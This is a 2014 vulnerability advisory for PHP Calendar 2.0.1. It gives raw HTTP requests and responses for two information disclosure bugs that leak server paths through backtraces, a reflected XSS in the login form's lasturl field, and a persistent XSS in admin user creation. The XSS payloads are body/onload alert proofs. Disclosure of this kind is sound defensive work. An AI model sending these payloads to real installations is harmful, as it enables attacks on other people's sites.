PHP Calendar 2.0.1 XSS / Information Disclosure

`# ==============================================================  
# Title ...| PHP Calendar Multiple vulnerabilities  
# Version .| php-calendar-2.0.1.zip  
# Date ....| 27.02.2014  
# Found ...| HauntIT Blog  
# Home ....| http://sourceforge.net  
# ==============================================================  
  
[+] As guest  
  
# ==============================================================  
# 1. Information disclosure bug  
  
---<request>---  
GET /k/cms/phpcalendar/php-calendar-2.0.1/index.php?action='`"%3b--#%%2f%2a&year=2014&month=1&day=28 HTTP/1.1  
Host: 10.149.14.62  
---<request>---  
  
---<response>---  
<pre>#0 /home/k/public_html/cms/phpcalendar/php-calendar-2.0.1/includes/calendar.php(676): soft_error('Invalid action')  
#1 /home/k/public_html/cms/phpcalendar/php-calendar-2.0.1/includes/calendar.php(626): do_action()  
#2 /home/k/public_html/cms/phpcalendar/php-calendar-2.0.1/index.php(76): display_phpc()  
#3 {main}</pre>  
---<response>---  
  
  
  
# ==============================================================  
# 2. XSS  
  
---<request>---  
POST /k/cms/phpcalendar/php-calendar-2.0.1/index.php HTTP/1.1  
Host: 10.149.14.62  
(...)  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 104  
  
lasturl='%3e"%3e%3cbody%2fonload%3dalert(9999)%3e&action=login&submit=Log+in&username=admin&password=asd  
---<request>---  
  
  
  
# ==============================================================  
# 3. Information disclosure bug  
  
---<request>---  
POST /k/cms/phpcalendar/php-calendar-2.0.1/index.php HTTP/1.1  
Host: 10.149.14.62  
(...)  
Content-Length: 132  
  
action=search&phpcid=1&searchstring=asdasd&search-from-date='`"%3b--#%%2f%2a&search-to-date=02%2F21%2F2014&sort=start_date&order=ASC  
  
---<request>---  
  
  
---<response>---  
<div class="phpc-main"><h2>Error</h2>  
<p>Malformed "search-from" date: "\'`\";--#%/*"</p>  
<h3>Backtrace</h3>  
<pre>#0 /home/k/public_html/cms/phpcalendar/php-calendar-2.0.1/includes/calendar.php(843): soft_error('Malformed "sear...')  
#1 /home/k/public_html/cms/phpcalendar/php-calendar-2.0.1/includes/search.php(31): get_timestamp('search-from')  
#2 /home/k/public_html/cms/phpcalendar/php-calendar-2.0.1/includes/search.php(129): search_results()  
#3 /home/k/public_html/cms/phpcalendar/php-calendar-2.0.1/includes/calendar.php(680) : eval()'d code(1): search()  
#4 /home/k/public_html/cms/phpcalendar/php-calendar-2.0.1/includes/calendar.php(680): eval()  
#5 /home/k/public_html/cms/phpcalendar/php-calendar-2.0.1/includes/calendar.php(626): do_action()  
#6 /home/k/public_html/cms/phpcalendar/php-calendar-2.0.1/index.php(76): display_phpc()  
#7 {main}</pre>  
---<response>---  
  
# ==============================================================  
# [+] From admin logged-in  
  
# ==============================================================  
#4. Persistent XSS  
  
---<request>---  
POST /k/cms/phpcalendar/php-calendar-2.0.1/index.php HTTP/1.1  
Host: 10.149.14.62  
(...)  
Content-Length: 197  
  
phpc_token=ALRTjtU1Qnv0LMm1G_BeiQSEUyGGHPYGrGMk8L6sfaI&action=user_create&submit_form=submit_form&submit=Submit&user_name='%3e"%3e%3cbody%2fonload%3dalert(123123)%3e&password1=aaaaa&password2=aaaaa  
---<request>---  
  
  
  
# ==============================================================  
# More @ http://HauntIT.blogspot.com  
# Thanks! ;)  
# o/   
`